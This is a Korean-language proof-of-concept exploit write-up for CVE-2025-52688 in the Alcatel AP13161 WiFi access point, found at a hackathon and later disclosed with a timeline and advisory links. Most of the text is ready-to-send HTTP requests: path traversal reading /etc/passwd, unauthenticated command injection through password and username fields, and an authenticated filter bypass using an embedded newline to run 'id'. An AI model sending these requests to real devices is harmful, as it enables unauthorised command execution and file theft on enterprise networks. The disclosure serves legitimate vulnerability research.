
개념 증명 익스플로잇 for CVE-2025-52688: Alcatel AP13161 엔터프라이즈 WiFi 액세스 포인트에서 IoT/OT 해커톤 중 발견된 인증되지 않은 명령 주입 및 임의 파일 읽기 취약점.
Alcatel AP13161 - 엔터프라이즈 WIFI 액세스 포인트
여기에 다루는 두 가지 주요 취약점이 있습니다:
;와 같은 악성 문자를 주입하여 명령어 인젝션 공격을 유발할 수 있음fileName 파라미터에 대한 적절한 검증 및 접근 제어 부족으로 서버에서 허가되지 않은 임의 파일 읽기를 가능하게 함이 취약점은 CSA(싱가포르 사이버보안청)와 NTU가 주최한 SPIRICYBER-24 IoT/OT 해커톤에서 발견되었습니다.
fileName 파라미터는 인증되지 않은 모든 사용자가 시스템의 모든 파일을 볼 수 있게 합니다. 디렉토리 탐색을 통해 서버의 민감한 파일을 읽을 수 있습니다.
POST /echo.fcgi HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (Linux; U; Android 7.0; en-us; MI 5 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.146 Mobile Safari/537.36 XiaoMi/MiuiBrowser/9.0.3
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 110
Connection: keep-alive
{
"id":1,
"jsonrpc":"2.0",
"username":"xxx",
"method":"downloader.cert",
"params":{
"fileName":"/../../etc/passwd"
}
}
/apiaccess 엔드포인트의 password 파라미터는 인증되지 않은 명령어 인젝션 취약점에 취약하여, 인증되지 않은 사용자가 시스템 명령어를 실행할 수 있게 합니다.
POST /apiaccess HTTP/1.1
Host: XXXX
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
{
"id":1,
"jsonrpc":"2.0",
"method":"system.getPvc",
"params":{
"username": "Administrator",
"password":";echo pwned1234 > /tmp/test.txt"
}
}
echo.fcgi 엔드포인트의 username 파라미터는 인증되지 않은 명령어 인젝션 취약점에 취약하여, 인증되지 않은 사용자가 시스템 명령어를 실행할 수 있게 합니다.
POST /echo.fcgi HTTP/1.1
Host:
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: application/json, text/plain, */*
{
"id":1,
"jsonrpc":"2.0",
"username":"Administrator",
"method":"user.logout",
"params":{
"username": ";echo pwned > /tmp/test.txt",
"Sessionid":""
}
}
command 파라미터는 인증된 사용자가 시스템 함수와 바이너리를 실행하여 램프 포스트의 기능을 테스트할 수 있게 합니다. 그러나 불충분한 입력 필터링과 블랙리스트로 인해 필터를 우회하여 인증된 원격 코드 실행을 수행할 수 있으며, 로그인한 사용자가 시스템 명령어를 실행할 수 있습니다.
POST /echo.fcgi HTTP/1.1
Host: XXXX
Content-Length: 349
Accept: application/json, text/plain, */*
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{
"id":1,
"jsonrpc":"2.0",
"method":"expressmessage.call",
"username":"Administrator",
"session":"XXXXXX",
"topic":"WMA/DC:XXXXXXX",
"params":{
"version":"3.0",
"messageID":1,
"macAddress":"DC:XXXXX",
"option":"update",
"method":"ap_manage.exce_command",
"contents":{
"command":"tech_support_command 9 127.0.0.1\nid"
}
}
}
2024-08-10: SpiritCyber IoT 해커톤 트라이지 팀에 보고서 제출
2024-08-20: 트라이지 팀이 보고서 승인
2025-06-25: CSA SingCert가 CVE-2025-52688 지정
2025-07-14: 공개
https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-072
https://www.al-enterprise.com/-/media/567414972b57459697030898f92ac043.pdf